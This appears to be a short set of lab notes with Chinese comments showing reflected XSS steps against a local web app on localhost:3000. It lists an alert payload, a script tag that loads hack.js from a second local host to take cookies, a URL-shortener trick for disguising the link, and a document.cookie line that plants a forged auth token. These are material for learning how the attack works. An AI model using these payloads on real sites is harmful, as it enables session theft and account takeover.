// 普通
http://localhost:3000/?from=china
// alert尝试
http://localhost:3000/?from=<script>alert(3)</script>
// 获取Cookie
http://localhost:3000/?from=<script src="http://localhost:4000/hack.js"> </script>
// 短域名伪造
https://dwz.cn/
// 伪造cookie入侵 chrome
document.cookie="t8t-auth:token=eyJ1c2VybmFtZSI6Imxhb3dhbmciLCJfZXhwaXJlIjoxNTUzNT Y1MDAxODYxLCJfbWF4QWdlIjo4NjQwMDAwMH0="